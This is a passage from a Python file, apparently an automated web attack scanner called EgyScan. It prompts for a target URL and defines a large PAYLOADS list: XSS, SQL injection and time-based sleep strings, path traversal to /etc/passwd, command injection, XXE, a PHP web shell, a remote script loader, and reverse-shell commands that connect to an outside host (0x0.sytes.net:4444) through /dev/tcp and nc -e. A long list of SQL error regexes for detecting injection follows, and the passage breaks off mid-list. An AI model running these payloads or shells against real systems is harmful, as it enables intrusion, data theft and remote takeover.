-
-
Notifications
You must be signed in to change notification settings - Fork 43
/
egy.py
2441 lines (2207 loc) · 98.8 KB
/
egy.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import logging
import tqdm
import warnings
import random
import re
import urllib3
import signal
import requests
import sys
import os
import concurrent.futures
import threading
import asyncio
import aiohttp
import ssl
import traceback
import defusedxml.ElementTree as ET
import functools
from queue import Queue
from colorama import Fore, Style, init
from bs4 import BeautifulSoup
from urllib.parse import urlparse, parse_qs, urljoin, quote
from concurrent.futures import ThreadPoolExecutor, as_completed
from itertools import islice
from urllib.robotparser import RobotFileParser
from bs4 import MarkupResemblesLocatorWarning
def get_target_url():
while True:
user_input = input("Enter the target URL (e.g., https://example.com): ").strip()
if not user_input:
print("URL cannot be empty. Please try again.")
continue
# Ensure the URL starts with http:// or https://
if not re.match(r"^https?://", user_input):
print("Adding 'http://' to your URL for a proper format.")
user_input = "http://" + user_input
try:
response = requests.get(user_input)
response.raise_for_status() # Raises an HTTPError for bad responses
print("Successfully connected to the URL.")
return user_input
except requests.exceptions.MissingSchema:
print(
"Invalid URL format. Please include 'http://' or 'https://'. Try again."
)
except requests.exceptions.HTTPError as e:
print(
f"HTTP error {response.status_code} occurred while connecting to the URL: {str(e)}"
)
except requests.exceptions.ConnectionError:
print(
"Failed to connect to the URL. Please check your connection or the URL and try again."
)
except requests.exceptions.RequestException as e:
print(f"An error occurred while connecting to the URL: {str(e)}")
except Exception as e:
print(f"An unexpected error occurred: {str(e)}")
PAYLOADS = [
"<img+src%3dOnXSS+OnError%3dalert('AliElTop')>",
"'; SELECT * FROM users; --",
"<script>alert('AliElTop');</script>",
"><svg/onload=prompt(/AliElTop/)>",
"/cgi-bin/rr.cgi/https://www.google.com/",
"<svg/onload=prompt(/AliElTop/)>",
"../../../../../../../../../../../../../../windows/win.ini",
";alert(md5('AliElTop'))",
"{% For c in [1,2,3]%} {{c,c,c}} {% endfor %}",
"{{4*4}}[[5*5]]",
"%26ls||id%26",
"AliElTop",
"gh1tpn7ip68xi45lg48197t9107rvhj6.oastify.com",
"“><script>alert(document.domain)</script>",
")'<!--><Svg OnLoad=(confirm)(13337777)<!--",
">'-(k=alert,k(13337777))-'",
"<form><button formaction=javascript:alert(13337777)",
"-10'XOR(if(now()=sysdate(),sleep(20),0))XOR'Z",
"if(now()=sysdate(),sleep(20),0)",
"${@print(md5(31337))}",
"'(select*from(select(sleep(20)))a)'",
"_next/image?url=",
"'%2beval(compile('for%20x%20in%20range(1)%3a%5cn%20import%20time%5cn%20time.sleep(20)'%2c'a'%2c'single'))%2b'",
"%7cping%20-n%2021%20127.0.0.1%7c%7c%60ping%20-c%2021%20127.0.0.1%60%20%23'%20%7cping%20-n%2021%20127.0.0.1%7c%7c%60ping%20-c%2021%20127.0.0.1%60%20%23%5c%22%20%7cping%20-n%2021%20127.0.0.1",
"../../../../../../../../../../../../../../etc/passwd",
"sh -i 5<> /dev/tcp/0x0.sytes.net/4444 0<&5 1>&5 2>&5",
"run persistence -U -i 5 -p 4444 -r 0x0.sytes.net",
"nc 0x0.sytes.net 4444 -e /bin/sh",
"onmouseover=alert('AliElTop')",
"0x0.sytes.net:4444",
"http://0x0.sytes.net:4444",
"confirm('AliElTop')",
"http://0x0.sytes.net/ali1.svg",
"{{['id']|filter('system')}}",
"javascript:alert(1)",
";@include('http://0x0.sytes.net/ali1.svg')",
"javascript:eval('var a=document.createElement('script');a.src='https://js.rip/8dis0rxh46';document.body.appendChild(a)')",
"<?xml version='1.0' encoding='ISO-8859-1'?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM 'file:///etc/passwd' >]><foo>&xxe;</foo>",
"webshell.php",
"admin' OR '1'='1",
"../../../../etc/passwd%00",
"<img src=x onerror=alert('AliElTop')>",
"<img src=x onload=alert('AliElTop')>",
"<iframe src=x onerror=prompt(13337777)>",
"<iframe src=x onerror=confirm(13337777)>",
"<iframe src=x onerror=alert(13337777)>",
"<?php system($_GET['cmd']); ?>",
"../../../../etc/passwd",
"%27%22%3E%3Ch1%3Etest%3C%2Fh1%3E{{7777*7777}}JyI%2bPGgxPnRlc3Q8L2gxPgo",
";ls",
"ls",
"<image/src/onerror=alert('AliElTop')>",
"<img/src/onerror=alert('AliElTop')>",
"<image src/onerror=alert('AliElTop')>",
"<img src/onerror=alert('AliElTop')>",
"<image src =q onerror=alert('AliElTop')>",
"<img src =q onerror=alert('AliElTop')>",
"</scrip</script>t><img src =q onerror=alert('AliElTop')>",
"..//etc/passwd",
"../..//etc/passwd",
"../../..//etc/passwd",
"../../../..//etc/passwd",
"../../../../..//etc/passwd",
"../../../../../..//etc/passwd",
"../../../../../../..//etc/passwd",
"../../../../../../../..//etc/passwd",
"..%2f/etc/passwd",
"..%2f..%2f/etc/passwd",
"..%2f..%2f..%2f/etc/passwd",
"..%2f..%2f..%2f..%2f/etc/passwd",
"..%2f..%2f..%2f..%2f..%2f/etc/passwd",
"..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd",
"..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd",
"..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd",
"%2e%2e//etc/passwd",
"%2e%2e/%2e%2e//etc/passwd",
"%2e%2e/%2e%2e/%2e%2e//etc/passwd",
"%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd",
"%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd",
"%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd",
"%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd",
"%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd",
"%2e%2e%2f/etc/passwd",
"%2e%2e%2f%2e%2e%2f/etc/passwd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd",
"<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->",
"<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->",
"<!--#exec%20cmd="/usr/bin/id;-->",
"/index.html|id|",
";id;",
";id",
";netstat -a;",
";system('cat%20/etc/passwd')",
"|id",
"|/usr/bin/id",
"|id|",
"|/usr/bin/id|",
"||/usr/bin/id|",
"|id;",
"||/usr/bin/id;",
";id|",
";|/usr/bin/id|",
"\n/bin/ls -al\n \n",
"\n/usr/bin/id\n \n",
"\nid\n \n",
"\n/usr/bin/id;",
"\nid;",
"\n/usr/bin/id|",
"\nid|",
";/usr/bin/id\n \n",
";id\n \n",
"|usr/bin/id\n \n",
"|nid\n \n",
"`id`",
"`/usr/bin/id`",
"a);id",
"a;id",
"a);id;",
"a;id;",
"a);id|",
"a;id|",
"a)|id",
"a|id",
"a)|id;",
"|/bin/ls -al",
"a);/usr/bin/id",
"a;/usr/bin/id",
"a);/usr/bin/id;",
"a;/usr/bin/id;",
"a);/usr/bin/id|",
"a;/usr/bin/id|",
"a)|/usr/bin/id",
"a|/usr/bin/id",
"a)|/usr/bin/id;",
";system('id')",
";system('/usr/bin/id')",
"%0Acat%20/etc/passwd",
"%0A/usr/bin/id",
"%0Aid",
"%0A/usr/bin/id%0A",
"%0Aid%0A",
"| id",
"& id",
"; id",
"%0a id %0a",
"$;/usr/bin/id",
"cat /etc/hosts",
"$(`cat /etc/passwd`)",
"cat /etc/passwd",
"system('cat /etc/passwd');",
"# from wapiti",
"sleep(20)#",
"1 or sleep(20)#",
" or sleep(20)#",
"' or sleep(20)#",
" or sleep(20)=",
"' or sleep(20)='",
"1) or sleep(20)#",
") or sleep(20)=",
"') or sleep(20)='",
"1)) or sleep(20)#",
")) or sleep(20)=",
"')) or sleep(20)='",
";waitfor delay '0:0:20'--",
");waitfor delay '0:0:20'--",
"';waitfor delay '0:0:20'--",
";waitfor delay '0:0:20'--",
"');waitfor delay '0:0:20'--",
");waitfor delay '0:0:20'--",
"));waitfor delay '0:0:20'--",
"'));waitfor delay '0:0:20'--",
"));waitfor delay '0:0:20'--",
"benchmark(10000000,MD5(20))#",
"1 or benchmark(10000000,MD5(20))#",
" or benchmark(10000000,MD5(20))#",
"' or benchmark(10000000,MD5(20))#",
"1) or benchmark(10000000,MD5(20))#",
") or benchmark(10000000,MD5(20))#",
"') or benchmark(10000000,MD5(20))#",
"1)) or benchmark(10000000,MD5(20))#",
")) or benchmark(10000000,MD5(20))#",
"')) or benchmark(10000000,MD5(20))#",
"pg_sleep(20)--",
"1 or pg_sleep(20)--",
" or pg_sleep(20)--",
"' or pg_sleep(20)--",
"1) or pg_sleep(20)--",
") or pg_sleep(20)--",
"') or pg_sleep(20)--",
"1)) or pg_sleep(20)--",
")) or pg_sleep(20)--",
"')) or pg_sleep(20)--",
"AND (SELECT * FROM (SELECT(SLEEP(20)))bAKL) AND 'vRxe'='vRxe",
"AND (SELECT * FROM (SELECT(SLEEP(20)))YjoC) AND '%'='",
"AND (SELECT * FROM (SELECT(SLEEP(20)))nQIP)",
"AND (SELECT * FROM (SELECT(SLEEP(20)))nQIP)--",
"AND (SELECT * FROM (SELECT(SLEEP(20)))nQIP)#",
"SLEEP(20)#",
"SLEEP(20)--",
"SLEEP(20)=",
"SLEEP(20)='",
"or SLEEP(20)",
"or SLEEP(20)#",
"or SLEEP(20)--",
"or SLEEP(20)=",
"or SLEEP(20)='",
"waitfor delay '00:00:20'",
"waitfor delay '00:00:20'--",
"waitfor delay '00:00:20'#",
"benchmark(50000000,MD5(20))",
"benchmark(50000000,MD5(20))--",
"benchmark(50000000,MD5(20))#",
"or benchmark(50000000,MD5(20))",
"or benchmark(50000000,MD5(20))--",
"or benchmark(50000000,MD5(20))#",
"pg_SLEEP(20)",
"pg_SLEEP(20)--",
"pg_SLEEP(20)#",
"or pg_SLEEP(20)",
"or pg_SLEEP(20)--",
"or pg_SLEEP(20)#",
"AnD SLEEP(20)",
"AnD SLEEP(20)--",
"AnD SLEEP(20)#",
"&&SLEEP(20)",
"&&SLEEP(20)--",
"&&SLEEP(20)#",
"' AnD SLEEP(20) ANd '1",
"'&&SLEEP(20)&&'1",
"ORDER BY SLEEP(20)",
"ORDER BY SLEEP(20)--",
"ORDER BY SLEEP(20)#",
"(SELECT * FROM (SELECT(SLEEP(20)))ecMj)",
"(SELECT * FROM (SELECT(SLEEP(20)))ecMj)#",
"(SELECT * FROM (SELECT(SLEEP(20)))ecMj)--",
"+benchmark(3200,SHA1(20))+'",
"+ SLEEP(20) + '",
"RANDOMBLOB(500000000/2)",
"AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))",
"OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))",
"RANDOMBLOB(1000000000/2)",
"AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))",
"OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))",
]
USER_AGENTS = [
(
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like"
" Gecko) Chrome/91.0.4472.124 Safari/537.36"
),
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
(
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,"
" like Gecko) Chrome/91.0.4472.124 Safari/537.36"
),
]
ALLOWED_HOSTS = ["www.google.com"]
logging.basicConfig(level=logging.WARNING, format="%(levelname)s - %(message)s")
def print_logo():
logo = """
███████╗░██████╗░██╗░░░██╗░██████╗░█████╗░░█████╗░███╗░░██╗
██╔════╝██╔════╝░╚██╗░██╔╝██╔════╝██╔══██╗██╔══██╗████╗░██║
█████╗░░██║░░██╗░░╚████╔╝░╚█████╗░██║░░╚═╝███████║██╔██╗██║
██╔══╝░░██║░░╚██╗░░╚██╔╝░░░╚═══██╗██║░░██╗██╔══██║██║╚████║
███████╗╚██████╔╝░░░██║░░░██████╔╝╚█████╔╝██║░░██║██║░╚███║
╚══════╝░╚═════╝░░░░╚═╝░░░╚═════╝░░╚════╝░╚═╝░░╚═╝╚═╝░░╚══╝
"""
print(logo)
MAX_WORKERS = 20
def check_sqli(url):
try:
response = requests.get(url)
response.raise_for_status()
response_text = response.content.decode("utf-8")
patterns = [
r"You have an error in your SQL syntax",
r"mysql_fetch_array",
r"/var/www",
r"on line",
r"Trying to access array offset on value of type",
r"at line",
r"your MySQL server version",
r"the right syntax to",
r"ORA-[0-9]{5}",
r"DB2 SQL error:",
r"pg_.*\(\):",
r"Microsoft OLE DB Provider for SQL Server",
r"Unclosed quotation mark",
r"ODBC SQL Server Driver",
r"SQLite3::SQLException:",
r"Syntax error or access violation:",
r"Unexpected end of command in statement",
r"PostgreSQL.*ERROR",
r"javax\.persistence\.PersistenceException",
r"ERROR: column .* does not exist",
r"Warning: odbc_.*",
r"Microsoft Access Driver",
r"Syntax error in string in query expression",
r"Microsoft JET Database Engine",
r"Unclosed quotation mark after the character string",
r"Microsoft SQL Native Client error",
r"Error converting data type varchar to numeric",
r"Conversion failed when converting the",
r"Arithmetic overflow error",
r"DBD::Oracle::st execute failed:",
r"SQL Server Native Client",
r"SQLException:",
r"PL/SQL:.*ORA-",
r"mysql_query\(\):",
r"Warning: mysql_.*",
r"Error: 0x",
r"java\.sql\.SQLException",
r"JDBC.*error",
r"Invalid SQL statement or JDBC escape",
r"Microsoft OLE DB Provider for ODBC Drivers",
r"PostgreSQL.*ERROR:",
r"ODBC Driver Manager",
r"SQL command not properly ended",
r"javax\.sql\.rowset\.spi\.SyncProviderException",
r"Invalid column name",
r"Unknown column",
r"Invalid object name",
r"Unclosed quotation mark before the character string",
r"Conversion failed when converting date and/or time",
r"Invalid parameter binding(s)",
r"Data type mismatch",
r"ORA-009.*",
r"DBD::mysql::db do failed:",
r"SQLite error",
r"Warning: sqlsrv_.*",
r"sqlite3_prepare_v2",
r"SQLSTATE\[42000\]",
r"java\.sql\.BatchUpdateException",
r"org\.springframework\.jdbc",
r"MongoDB server version:",
r"Invalid escape character",
r"java\.sql\.SQLSyntaxErrorException",
r"Invalid use of NULL",
r"org\.hibernate\.QueryException",
r"Invalid parameter number",
r"Column count doesn't match",
r"Warning: oci_.*",
r"SQLSTATE\[HY000\]: General error",
r"General error: 7 no connection to the server",
r"Expected end of string",
r"Unexpected character encountered while parsing",
r"FileMaker.*Script Error",
r"java\.lang\.IllegalArgumentException",
r"ORA-12154",
r"ORA-0140[12]",
r"SQLITE_MISUSE",
r"java\.sql\.DataTruncation",
r"Invalid SQL statement",
r"Error while executing SQL script",
r"Column '.*' not found",
r"Invalid object name '.*'",
r"Unknown database '.*'",
r"Table '.*' doesn't exist",
r"ORA-125.*",
r"Warning: mssql_.*",
r"mysql_error",
r"com\.microsoft\.sqlserver\.jdbc",
r"General SQL Server error:",
r"java\.sql\.BatchUpdateException",
r"PLS-[0-9]{4}",
r"SQL syntax.*MySQL",
r"SQL Server.*Error",
r"sqlite3_step",
r"mysqli_.*",
r"java\.sql\.SQLException: Invalid column index",
r"org\.apache\.derby",
r"mysql_num_rows",
r"SQLSyntaxErrorException",
r"DB2 SQL error: SQLCODE=-[0-9]+",
r"An error occurred while parsing EntityName",
r"java\.sql\.SQLIntegrityConstraintViolationException",
r"SQLSTATE\[.*\]",
r"SQL Server Native Client.*Invalid object name",
r"An error occurred while preparing the query",
r"Must declare the scalar variable",
r"Invalid column reference",
r"java\.sql\.SQLException: Column not found",
r"java\.sql\.SQLException: No suitable driver",
r"java\.lang\.NullPointerException",
r"SQLSTATE\[3D000\]: Invalid catalog name",
r"ORA-00936",
r"SQLException: Data type mismatch",
r"SQLSTATE\[28000\]: Invalid authorization specification",
r"mysql_numrows",
r"General error: 1017.*Can't find file",
r"Error: ER_NO_SUCH_TABLE",
r"DB2 SQL error: SQLCODE=-206",
r"java\.lang\.IllegalStateException",
r"Error: ER_UNKNOWN_FIELD",
r"java\.sql\.BatchUpdateException: No more data",
r"java\.sql\.SQLException: Invalid parameter index",
r"Error: ER_WRONG_VALUE_COUNT",
r"Error: ER_PARSE_ERROR",
r"java\.lang\.OutOfMemoryError",
r"SQLSTATE\[42000\]: Syntax error or access violation",
r"ERROR: syntax error at or near",
r"Error: ER_CANT_CREATE_TABLE",
r"Warning: mysqli_.*",
r"SQLSTATE\[42S02\]: Base table or view not found",
r"Syntax error in INSERT INTO statement",
r"SQLSTATE\[HYT00\]: Timeout expired",
r"ERROR: relation \".*\" does not exist",
r"Could not find driver",
r"ORA-00933",
r"java\.sql\.SQLException: No value specified for parameter",
r"java\.sql\.SQLException: No data found",
r"ERROR: current transaction is aborted",
r"java\.sql\.SQLException: Data truncation",
r"SQLSTATE\[22001\]: String data, right truncated",
r"ERROR: invalid input syntax for type",
r"ERROR: permission denied for relation",
r"Column count doesn't match value count",
r"java\.sql\.SQLException: Column count doesn't match",
r"SQLSTATE\[08001\]: Unable to connect to database",
r"ERROR: INSERT has more expressions",
r"SQLSTATE\[42S22\]: Column not found",
r"ORA-00932",
r"SQLSTATE\[23000\]: Integrity constraint violation",
r"Syntax error in string in query expression",
r"java\.sql\.SQLException: Column name mismatch",
r"SQLSTATE\[HY000\]: General error: 1025",
r"ERROR: duplicate key value violates unique constraint",
r"ERROR: division by zero",
r"java\.lang\.ArrayIndexOutOfBoundsException",
r"SQLSTATE\[08004\]: Server rejected the connection",
r"ERROR: column .* does not exist",
r"javax\.persistence\.TransactionRequiredException",
r"ERROR: invalid input syntax for type numeric",
r"Syntax error in UPDATE statement",
r"Error: ER_DUP_ENTRY",
r"java\.sql\.SQLException: Field '.*' doesn't have a default value",
r"ERROR: relation \".*\" already exists",
r"ERROR: invalid input syntax for type boolean",
r"SQLSTATE\[22P02\]: Invalid text representation",
r"SQLSTATE\[40001\]: Serialization failure",
r"ERROR: operator does not exist: ",
r"Warning: odbc_exec\(\):",
r"java\.sql\.SQLException: ResultSet closed",
r"SQLSTATE\[HYT00\]: Timeout expired: native",
r"ERROR: duplicate key violates unique constraint",
r"java\.sql\.SQLException: Invalid object name",
r"ERROR: invalid byte sequence for encoding",
r"ERROR: relation \".*\" does not exist",
r"SQLSTATE\[42S12\]: Column not found",
r"ORA-02291",
r"Error: ER_ACCESS_DENIED_ERROR",
r"SQLSTATE\[08006\]: No connection",
r"java\.sql\.SQLException: ORA-02292",
r"SQLSTATE\[23505\]: Unique constraint",
r"ERROR: missing FROM-clause entry for table",
r"ERROR: relation \".*\" does not exist",
r"java\.sql\.SQLRecoverableException",
r"java\.sql\.SQLException: Integrity constraint violation",
r"SQLSTATE\[22018\]: Invalid character value",
r"SQLSTATE\[08003\]: No connection",
r"Error: ER_TABLE_EXISTS_ERROR",
r"ORA-00001",
r"ERROR: null value in column",
r"ORA-01438",
r"SQLSTATE\[42000\]: Syntax error or access violation",
r"ERROR: duplicate key value violates unique",
r"ERROR: unterminated quoted string",
r"java\.sql\.SQLTimeoutException",
r"ORA-01400",
r"SQLSTATE\[HY000\]: General error: 2006 MySQL",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1064",
r"java\.sql\.SQLException: Table/View '.*' does not exist",
r"SQLSTATE\[42S02\]: Base table or view not found: 1146",
r"ERROR: syntax error at end of input",
r"java\.sql\.SQLException: ResultSet not open",
r"SQLSTATE\[08001\]: [0-9]{1,10} SQLDriverConnect",
r"ERROR: duplicate key violates unique constraint",
r"java\.sql\.SQLException: ORA-01461",
r"SQLSTATE\[HY000\]: General error: 1364",
r"ERROR: column reference \".*\" is ambiguous",
r"ORA-06512",
r"Error: ER_BAD_FIELD_ERROR",
r"SQLSTATE\[IM002\]: Data source name not found",
r"java\.lang\.ArrayIndexOutOfBoundsException:",
r"SQLSTATE\[42S12\]: Column not found: 1054",
r"ERROR: column .* cannot be cast to type .*",
r"ERROR: operator does not exist",
r"java\.sql\.SQLException: ResultSet is closed",
r"ORA-00904",
r"ERROR: failed to find conversion function from unknown to text",
r"ERROR: division by zero",
r"ERROR: cannot insert multiple commands into a prepared statement",
r"ERROR: relation \".*\" does not exist at character",
r"java\.sql\.SQLException: ORA-02291",
r"SQLSTATE\[HY000\]: General error: 1366",
r"ERROR: column \".*\" does not exist",
r"java\.lang\.NoSuchMethodError",
r"SQLSTATE\[08006\]: No connection to the server",
r"java\.sql\.SQLException: ORA-02292",
r"SQLSTATE\[23502\]: Not null violation",
r"java\.sql\.SQLException: No value specified",
r"ERROR: relation \".*\" already exists at character",
r"ORA-02292",
r"SQLSTATE\[23000\]: Integrity constraint violation: 1452",
r"ERROR: relation \".*\" already exists",
r"SQLSTATE\[HY093\]: Invalid parameter number: no parameters",
r"java\.sql\.SQLNonTransientConnectionException",
r"SQLSTATE\[HY000\]: General error: 1418",
r"ERROR: duplicate key value violates unique constraint",
r"ERROR: column \".*\" specified more than once",
r"java\.sql\.SQLTransientConnectionException",
r"ERROR: value too long for type character varying",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1055",
r"java\.sql\.SQLException: Column '.*' not found",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1142",
r"ERROR: syntax error at or near \".*\" at character",
r"java\.lang\.NoSuchMethodException",
r"SQLSTATE\[22005\]: Data exception: string data",
r"ERROR: duplicate key violates unique constraint",
r"ERROR: column \".*\" specified more than once at character",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1067",
r"java\.sql\.SQLFeatureNotSupportedException",
r"ERROR: duplicate key violates unique constraint",
r"SQLSTATE\[HY093\]: Invalid parameter number",
r"ERROR: current transaction is aborted,",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1136",
r"java\.lang\.ClassCastException",
r"ERROR: current transaction is aborted, commands",
r"SQLSTATE\[HY000\]: General error: 1360",
r"ERROR: column \".*\" of relation \".*\" does not exist",
r"ERROR: duplicate key value violates unique constraint",
r"SQLSTATE\[08006\]: No connection to the server:",
r"ERROR: column \".*\" of relation \".*\" does not exist at character",
r"java\.sql\.SQLException: No data found",
r"ERROR: could not open file",
r"SQLSTATE\[22007\]: Invalid datetime format: 1292",
r"ERROR: unterminated quoted string at or near",
r"java\.sql\.SQLIntegrityConstraintViolationException: Duplicate entry",
r"SQLSTATE\[HY000\]: General error: 1021",
r"ERROR: duplicate key violates unique constraint",
r"java\.sql\.SQLException: No results were returned",
r"java\.sql\.SQLException: ORA-00904",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1093",
r"ERROR: relation \".*\" does not exist LINE",
r"ERROR: unterminated quoted string at or near",
r"java\.sql\.SQLException: ORA-02291",
r"SQLSTATE\[HY000\]: General error: 1055",
r"ERROR: unterminated quoted string at or near \".*\" at character",
r"java\.lang\.NoSuchFieldError",
r"SQLSTATE\[08003\]: No connection to the server",
r"ERROR: relation \".*\" does not exist LINE.*SQL",
r"ERROR: unterminated quoted string at or near",
r"java\.sql\.SQLException: Invalid object name",
r"ERROR: relation \".*\" already exists LINE.*SQL",
r"SQLSTATE\[HY000\]: General error: 1366",
r"ERROR: unterminated quoted string at or near \".*\" LINE",
r"java\.lang\.ClassNotFoundException",
r"SQLSTATE\[08006\]: No connection to the server:",
r"ERROR: relation \".*\" does not exist at character.*LINE",
r"ERROR: unterminated quoted string at or near \".*\" at character.*LINE",
r"java\.lang\.NoSuchMethodException: .*set[a-zA-Z]+",
r"SQLSTATE\[HY000\]: General error: 2013",
r"ERROR: unterminated quoted string at or near",
r"java\.lang\.ClassCastException: ",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1109",
r"ERROR: relation \".*\" already exists LINE",
r"SQLSTATE\[HY000\]: General error: 1418",
r"ERROR: unterminated quoted string at or near \".*\" at character.*LINE",
r"java\.lang\.IllegalAccessException",
r"SQLSTATE\[08006\]: No connection to the server",
r"ERROR: unterminated quoted string at or near \".*\" at character.*LINE",
r"java\.sql\.SQLException: Invalid object name.*LINE",
r"ERROR: column \".*\" specified more than once at character.*LINE",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1136",
r"java\.lang\.ClassCastException:.*LINE",
r"ERROR: duplicate key value violates unique constraint",
r"ERROR: invalid byte sequence for encoding \"UTF8\".*LINE",
r"SQLSTATE\[08006\]: No connection to the server:",
r"ERROR: column \".*\" of relation \".*\" does not exist LINE.*SQL",
r"java\.sql\.SQLException: No data found",
r"ERROR: could not open file.*LINE",
r"SQLSTATE\[22007\]: Invalid datetime format: 1292",
r"ERROR: unterminated quoted string at or near.*LINE",
r"SQLSTATE\[HY000\]: General error: 1021",
r"ERROR: duplicate key violates unique constraint.*LINE",
r"java\.sql\.SQLException: No results were returned",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: ORA-00904.*LINE",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1093",
r"ERROR: relation \".*\" does not exist LINE",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: Invalid object name",
r"ERROR: relation \".*\" already exists LINE",
r"SQLSTATE\[HY000\]: General error: 1366",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.ClassNotFoundException",
